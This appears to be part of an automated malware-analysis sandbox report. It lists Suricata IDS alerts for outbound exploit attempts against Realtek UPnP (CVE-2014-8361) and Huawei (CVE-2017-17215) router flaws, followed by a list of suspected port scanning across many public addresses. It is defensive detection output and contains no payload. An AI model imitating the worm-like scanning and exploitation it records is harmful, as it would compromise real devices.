Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:53224 -> 197.34.3.7:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:39440 -> 156.80.3.94:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38264 -> 156.70.64.131:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:51282 -> 41.143.182.37:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35430 -> 41.121.139.0:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42064 -> 197.227.37.64:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:51294 -> 41.216.217.159:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41236 -> 156.202.73.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58750 -> 156.221.199.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60664 -> 156.164.172.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35392 -> 156.198.152.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38946 -> 197.143.63.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42592 -> 197.84.117.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39974 -> 156.203.177.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55746 -> 197.31.104.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48548 -> 197.53.132.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52766 -> 156.48.235.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33192 -> 197.240.132.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47714 -> 41.78.130.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37682 -> 197.31.230.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51594 -> 197.247.189.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43640 -> 156.200.142.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50162 -> 197.114.234.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45082 -> 41.114.251.255:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59562 -> 197.6.75.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59338 -> 41.19.203.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42078 -> 156.167.67.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42062 -> 41.172.186.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33842 -> 156.53.147.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34650 -> 197.230.207.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39158 -> 156.18.21.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49332 -> 156.212.119.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34720 -> 156.132.250.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56794 -> 156.211.102.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35060 -> 41.7.217.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46838 -> 197.143.213.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46170 -> 41.153.89.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44580 -> 156.89.62.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54266 -> 41.8.174.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50040 -> 156.67.238.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45508 -> 156.127.38.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57888 -> 197.247.38.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60372 -> 41.252.138.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46530 -> 197.61.7.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57730 -> 41.76.235.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34360 -> 156.138.17.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36966 -> 41.217.237.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35264 -> 197.186.126.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58668 -> 41.50.208.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49632 -> 41.219.131.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50924 -> 197.174.88.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37400 -> 197.43.238.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55916 -> 197.118.177.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47128 -> 41.251.141.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36580 -> 197.148.122.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39490 -> 41.204.102.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51116 -> 197.43.197.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33512 -> 197.132.204.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40910 -> 156.238.77.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56834 -> 197.8.154.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50602 -> 156.207.106.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53618 -> 156.35.116.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44264 -> 156.133.80.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39918 -> 156.184.212.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45496 -> 156.134.1.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60342 -> 41.97.6.254:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38450 -> 197.248.239.253:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:57328 -> 156.133.167.28:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:32818 -> 41.88.205.77:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35686 -> 156.226.83.37:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47888 -> 156.217.216.3:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.188.155.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.147.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.30.199.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.229.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.250.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.3.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.128.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.183.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.126.57.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.207.141.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.33.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.34.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.219.18.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.94.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.143.161.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.17.85.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.2.24.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.227.210.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.132.5.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.123.176.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.126.215.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.176.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.144.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.79.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.190.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.221.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.41.215 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.169.0.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.169.31.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.151.128.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.238.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.166.29.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.182.44.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.102.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.202.25.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.193.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.164.96.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.132.108.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.30.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.145.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.92.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.184.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.100.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.252.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.208.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.185.168.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.69.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.242.83.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.235.141.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.129.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.195.70.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.48.57.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.14.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.195.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.113.109.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.128.202.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.154.16.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.150.92.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.233.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.151.9.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.165.7.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.155.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.16.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.17.223.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.183.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.30.212.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.246.142.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.47.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.240.49.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.147.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.75.108.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.48.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.52.104.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.180.84.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.105.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.217.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.239.19.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.178.34.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.73.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.84.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.60.193.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.70.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.142.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.205.148.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.57.139.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.117.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.204.228.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.239.166.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.188.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.176.223.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.190.235.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.167.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.144.223.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.51.31.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.130.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.182.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.151.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.146.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.45.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.155.18.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.199.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.97.83.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.224.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.228.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.93.205.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.46.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.90.139.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.89.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.172.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.143.6.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.150.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.125.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.164.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.248.29.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.211.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.83.22.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.38.238.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.59.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.2.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.104.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.169.210.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.105.81.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.131.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.225.142.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.205.167.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.137.12.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.105.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.224.96.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.216.242.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.181.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.240.184.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.20.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.181.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.59.113 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.115.73.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.234.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.222.211.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.27.26.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.42.248.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.128.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.117.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.214.0.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.43.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.180.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.252.41.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.75.5.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.147.22.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.250.58.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.13.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.148.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.92.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.21.28.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.10.144.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.196.176.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.71.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.1.190.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.245.24.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.228.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.219.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.196.137.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.137.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.183.182.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.219.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.121.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.131.55.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.225.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.36.41.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.116.4.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.154.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.158.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.137.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.119.15.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.147.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.102.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.39.9.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.128.125.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.36.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.53.225.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.129.222.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.128.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.182.166.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.216.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.148.183.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.187.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.174.40.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.191.147.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.149.191.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.47.150.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.19.137.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.178.157.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.5.44.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.217.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.158.192.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.51.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.42.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.192.181.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.118.244.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.155.84.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.67.198.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.135.93.166 ports 2,5,6,8,9,52869
